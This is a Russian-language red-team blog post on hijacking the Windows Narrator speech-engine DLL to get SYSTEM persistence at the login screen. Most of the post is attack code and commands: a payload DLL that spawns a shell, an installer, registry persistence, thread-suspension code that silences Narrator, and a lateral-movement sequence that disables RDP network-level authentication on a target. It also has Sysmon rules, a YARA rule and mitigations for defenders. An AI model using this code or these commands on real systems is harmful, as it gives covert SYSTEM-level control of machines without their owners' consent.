# Narrator DLL Hijacking: SYSTEM persistence через Accessibility Features

Posted on 29 марта, 2026 by AkaTor

**Категория:** Red Team / Blue Team / Purple Team
**Уровень:** Intermediate → Advanced
**Автор:** Aka Tor
**CVE:** Нет (design flaw, не патчится)
**Исследователи:** TrustedSec (@Oddvarmoe), Hexacorn (2013)

---

## Введение

Narrator.exe — встроенный экранный диктор Windows. При запуске он загружает speech engine DLL из `%windir%\system32\speech_onecore\engines\tts\`. Если подложить туда свою DLL — Narrator выполнит наш код.

Почему это мощная техника:

- **SYSTEM persistence** — через HKLM реестр Narrator запускается на экране логина как SYSTEM
- **Нет CVE** — Microsoft считает это «by design», не патчит
- **Работает на Win10/11** — баг с 2013 года, до сих пор актуален
- **Lateral movement** — через remote registry + RDP можно триггернуть на удалённой машине
- **Тихий** — можно заглушить голос Narrator, подвесив его main thread
- **Легитимный процесс** — Narrator.exe подписан Microsoft

---

## 1. Как работает уязвимость

### 1.1 DLL Search Order в Narrator

```
Narrator.exe при запуске ищет speech engine DLL:

1. %windir%\System32\Speech_OneCore\Engines\TTS\MSTTSLocEnUS.DLL
   (или MSTTSLocOneCoreEnUS.dll — зависит от версии Windows)

2. Если DLL найдена → LoadLibrary → DllMain выполняется
3. Narrator работает в контексте запустившего пользователя
4. На экране логина → контекст SYSTEM!

Проблема:
  - Директория TTS существует и writable для Administrators
  - Narrator НЕ проверяет подпись DLL
  - DllMain выполняется ДО любых проверок
  - Не нужны никакие exports — достаточно DllMain
```

### 1.2 Три уровня persistence

```
Уровень 1: User-level (HKCU)
  Реестр: HKCU\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
  Значение: Configuration = "Narrator"
  Результат: Narrator запускается при логоне текущего юзера
  Контекст: текущий пользователь

Уровень 2: SYSTEM-level (HKLM) ← самый мощный
  Реестр: HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
  Значение: Configuration = "Narrator"
  Результат: Narrator запускается на ЭКРАНЕ ЛОГИНА
  Контекст: NT AUTHORITY\SYSTEM!
  Переживает: перезагрузку, смену пароля, всё

Уровень 3: RDP Lateral Movement
  1. Remote Registry → установить HKLM Accessibility\Configuration =
"Narrator"
  2. Скопировать malicious DLL через SMB в speech_onecore\engines\tts\
  3. RDP к машине → Ctrl+Win+Enter на экране логина → Narrator
```

```
  4. DLL выполняется как SYSTEM на удалённой машине!
```

---

# 2. Exploit — пошаговая эксплуатация

## 2.1 Шаг 1: Создание payload DLL

```
// narrator_payload.dll — выполняется при загрузке Narrator
// Компиляция: cl.exe /LD narrator_payload.c /Fe:MSTTSLocEnUS.DLL
// ВАЖНО: имя файла должно быть MSTTSLocEnUS.DLL!

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        // Отключаем thread notifications (не нужны)
        DisableThreadLibraryCalls(hModule);

        // === Payload: запускаем cmd.exe как SYSTEM ===
        STARTUPINFOA si = { sizeof(si) };
        si.lpDesktop = "WinSta0\\Default";
        // Если мы на экране логина — WinSta0\Winlogon
        si.wShowWindow = SW_SHOW;
        si.dwFlags = STARTF_USESHOWWINDOW;

        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA(NULL,
            "cmd.exe /K echo === Narrator DLL Hijack === && whoami &&
echo.",
            NULL, NULL, FALSE, CREATE_NEW_CONSOLE,
            NULL, NULL, &si, &pi);

        if (pi.hProcess) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
```

```
        // Suspend Narrator main thread чтобы заглушить голос
        // Без этого Narrator начнёт читать экран вслух
        HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME,
            FALSE, GetCurrentThreadId());
        // Не можем suspend свой thread из DllMain
        // Вместо этого: создаём thread который suspend'ит Narrator
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SuspendNarrator,
            NULL, 0, NULL);
    }
    return TRUE;
}

// Поток который глушит Narrator через 1 секунду
DWORD WINAPI SuspendNarrator(LPVOID param) {
    Sleep(1000);
    // Находим main thread Narrator и suspend'им
    DWORD pid = GetCurrentProcessId();
    HANDLE hSnap = CreateToolhelp32Snapshot(0x00000004 /*
TH32CS_SNAPTHREAD */, 0);
    if (hSnap != INVALID_HANDLE_VALUE) {
        THREADENTRY32 te = { sizeof(te) };
        // ... enumerate threads of current process
        // SuspendThread(mainThread) — заглушает голос
        CloseHandle(hSnap);
    }
    return 0;
}
```

### 2.2 Шаг 2: Установка DLL

```
// Копируем DLL в директорию speech engine
// Требует: Administrator (запись в System32)

// Целевой путь:
// C:\Windows\System32\Speech_OneCore\Engines\TTS\MSTTSLocEnUS.DLL

// Проверяем существование директории
// Если нет — создаём (mkdir)
```

```
void InstallDLL(const char* dllPath) {
    // Целевой путь
    char targetDir[] =
"C:\\Windows\\System32\\Speech_OneCore\\Engines\\TTS";
    char targetPath[MAX_PATH];

    // Создаём директорию если не существует
    CreateDirectoryA("C:\\Windows\\System32\\Speech_OneCore", NULL);
    CreateDirectoryA("C:\\Windows\\System32\\Speech_OneCore\\Engines",
NULL);
    CreateDirectoryA(targetDir, NULL);

    sprintf_s(targetPath, sizeof(targetPath),
        "%s\\MSTTSLocEnUS.DLL", targetDir);

    // Копируем нашу DLL
    if (CopyFileA(dllPath, targetPath, FALSE)) {
        printf("[+] DLL installed: %s\n", targetPath);
    } else {
        printf("[-] Copy failed: %d (need admin)\n", GetLastError());
    }
}
```

### 2.3 Шаг 3: Установка persistence через реестр

```
// HKCU = user-level persistence (при логоне)
// HKLM = SYSTEM persistence (на экране логина!)

void SetPersistence(BOOL systemLevel) {
    HKEY root = systemLevel ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER;
    const char* keyPath = "Software\\Microsoft\\Windows
NT\\CurrentVersion\\Accessibility";

    HKEY hKey;
    RegCreateKeyExA(root, keyPath, 0, NULL, 0,
        KEY_SET_VALUE, NULL, &hKey, NULL);

    // "Configuration" = "narrator" → запускает Narrator при
```

```
логоне/boot
    RegSetValueExA(hKey, "Configuration", 0, REG_SZ,
        (BYTE*)"narrator", 9);

    RegCloseKey(hKey);

    printf("[+] Persistence set (%s)\n",
        systemLevel ? "SYSTEM — login screen" : "User — at logon");
}
```

### 2.4 Шаг 4: Lateral Movement через Remote Registry

```
// Удалённая установка: Registry + SMB + RDP trigger

// Шаг 1: Копируем DLL через SMB
// copy MSTTSLocEnUS.DLL
\\TARGET\C$\Windows\System32\Speech_OneCore\Engines\TTS\

// Шаг 2: Remote Registry — включаем Narrator на логин-экране
// reg add \\TARGET\HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
//     /v Configuration /t REG_SZ /d "narrator" /f

// Шаг 3: (опционально) Отключаем NLA для RDP
// Чтобы дойти до экрана логина без аутентификации:
// reg add \\TARGET\HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp
//     /v SecurityLayer /t REG_DWORD /d 0 /f

// Шаг 4: RDP к TARGET → на экране логина → Ctrl+Win+Enter
// → Narrator запускается → загружает нашу DLL → SYSTEM shell!
```

---

## 3. Полный Exploit Flow

```
=== Local Persistence (нужен admin) ===
```

```
1. cl /LD payload.c /Fe:MSTTSLocEnUS.DLL
2. copy MSTTSLocEnUS.DLL
C:\Windows\System32\Speech_OneCore\Engines\TTS\
3. reg add "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility"
       /v Configuration /t REG_SZ /d "narrator" /f
4. Перезагрузка → на экране логина Narrator запускается → DLL →
SYSTEM!

=== Remote Lateral Movement ===

1. net use \\TARGET\C$ /user:DOMAIN\admin password
2. copy MSTTSLocEnUS.DLL
\\TARGET\C$\Windows\System32\Speech_OneCore\Engines\TTS\
3. reg add \\TARGET\HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
       /v Configuration /t REG_SZ /d "narrator" /f
4. reg add \\TARGET\HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp
       /v SecurityLayer /t REG_DWORD /d 0 /f
5. mstsc /v:TARGET → login screen → Ctrl+Win+Enter → SYSTEM!
```

---

## 4. Другие Accessibility Features для hijack

Narrator — не единственный:

| Программа | Реестр/Trigger | DLL Path |
|---|---|---|
| Narrator.exe | Configuration="narrator" | speech_onecore\engines\tts*.dll |
| Magnify.exe | Configuration="magnifierpane" | Magnification.dll |
| On-Screen Keyboard | Configuration="osk" | различные DLL |
| Sticky Keys | 5x Shift на login screen | sethc.exe замена |
| Utility Manager | Win+U на login screen | utilman.exe |

```
замена

Классический backdoor (замена .exe):
  Заменить C:\Windows\System32\sethc.exe на cmd.exe
  5x Shift на login screen → cmd.exe as SYSTEM
  (работает если нет file integrity protection)
```

---

## 5. Silent Execution — без звука

```
// Проблема: Narrator начинает говорить — пользователь замечает
// Решение: suspend main thread Narrator после загрузки DLL

#include <windows.h>
#include <tlhelp32.h>

DWORD WINAPI SilenceNarrator(LPVOID param) {
    Sleep(500); // Ждём пока Narrator инициализируется

    DWORD myPid = GetCurrentProcessId();
    DWORD myTid = GetCurrentThreadId();

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };

    if (Thread32First(hSnap, &te)) {
        do {
            // Suspend все потоки Narrator КРОМЕ нашего
            if (te.th32OwnerProcessID == myPid && te.th32ThreadID !=
myTid) {
                HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME,
                    FALSE, te.th32ThreadID);
                if (hThread) {
                    SuspendThread(hThread);
                    CloseHandle(hThread);
                }
            }
```

```
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);

    // Narrator заглушен — payload работает тихо
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);

        // Глушим Narrator в отдельном потоке
        CreateThread(NULL, 0, SilenceNarrator, NULL, 0, NULL);

        // Payload здесь
        // ...
    }
    return TRUE;
}
```

---

# 6. Детект и защита

## 6.1 Sysmon Rules

```
Event ID 11 (File Create):
  TargetFilename: *\Speech_OneCore\Engines\TTS\*.dll
  → Новая DLL в директории speech engine!

Event ID 7 (Image Loaded):
  Image: *\Narrator.exe
  ImageLoaded: NOT *\Speech_OneCore\* AND NOT *\System32\*.dll
  → Narrator загрузил нестандартную DLL

Event ID 13 (Registry Value Set):
```

```
  TargetObject: *\Accessibility\Configuration
  Details: "narrator"
  → Кто-то включил Narrator в автозапуск

Event ID 1 (Process Create):
  ParentImage: *\Narrator.exe
  Image: *\cmd.exe OR *\powershell.exe
  → Narrator порождает подозрительный процесс
```

### 6.2 YARA Rule

```
rule Narrator_DLL_Hijack_Payload {
    meta:
        description = "Detects malicious DLL in Narrator speech engine
path"
        author = "Aka Tor"

    strings:
        $path1 = "Speech_OneCore" ascii wide nocase
        $path2 = "MSTTSLoc" ascii wide nocase
        $api1 = "CreateProcessA" ascii
        $api2 = "WinExec" ascii
        $api3 = "ShellExecute" ascii
        $cmd1 = "cmd.exe" ascii wide nocase
        $cmd2 = "powershell" ascii wide nocase

    condition:
        uint16(0) == 0x5A4D and
        ($path1 or $path2) and
        ($api1 or $api2 or $api3) and
        ($cmd1 or $cmd2)
}
```

### 6.3 Mitigation

- **ACL hardening**: запретить запись в `Speech_OneCore\Engines\TTS` для всех кроме TrustedInstaller
- **GPO**: отключить Ease of Access на экране логина
- **File integrity monitoring**: мониторинг изменений в `System32\Speech_OneCore`

- **Sysmon**: правила на создание файлов в TTS директории
- **AppLocker/WDAC**: whitelist DLL для Narrator
- **Disable Narrator at login**: `reg delete "HKLM\...\Accessibility" /v Configuration /f`
- **NLA для RDP**: не отключать SecurityLayer — блокирует remote trigger

---

# 7. MITRE ATT&CK

| Этап | Technique | ID |
|---|---|---|
| Persistence | Event Triggered Execution: Accessibility Features | T1546.008 |
| Persistence | Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 |
| Privilege Escalation | Accessibility Features (SYSTEM at login) | T1546.008 |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 |
| Lateral Movement | Remote Services: RDP | T1021.001 |
| Lateral Movement | Windows Admin Shares | T1021.002 |

---

# 8. Рекомендации

## Для Red Team

- Narrator DLL hijack = persistence без autorun, без scheduled tasks, без services
- HKLM путь = SYSTEM на login screen — переживает перезагрузку
- Suspend Narrator threads для silent execution
- Lateral movement: SMB + Remote Registry + RDP trigger
- Нет CVE → нет патча → работает на всех Windows 10/11

## Для Blue Team

- **Мониторинг** `Speech_OneCore\Engines\TTS` — любой новый DLL файл = alert
- **Registry audit**: `HKLM\...\Accessibility\Configuration` = «narrator» подозрительно
- **ACL**: запретить запись в TTS директорию
- **GPO**: отключить Ease of Access на login screen
- **NLA обязательно** для RDP — блокирует remote trigger

---

## Заключение

Narrator DLL Hijack — это техника persistence которая **не будет запатчена**. Microsoft считает это «by design» — accessibility features должны загружать speech engines. Баг существует с 2013 года и работает на каждой версии Windows включая 11 24H2.

Для атакующих это идеальный backdoor: легитимный подписанный процесс, SYSTEM на login screen, lateral movement через RDP, и ни одного подозрительного autorun entry в стандартных местах.

Для защитников единственный способ — file integrity monitoring на `Speech_OneCore` директорию и ACL hardening.

---

*Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.*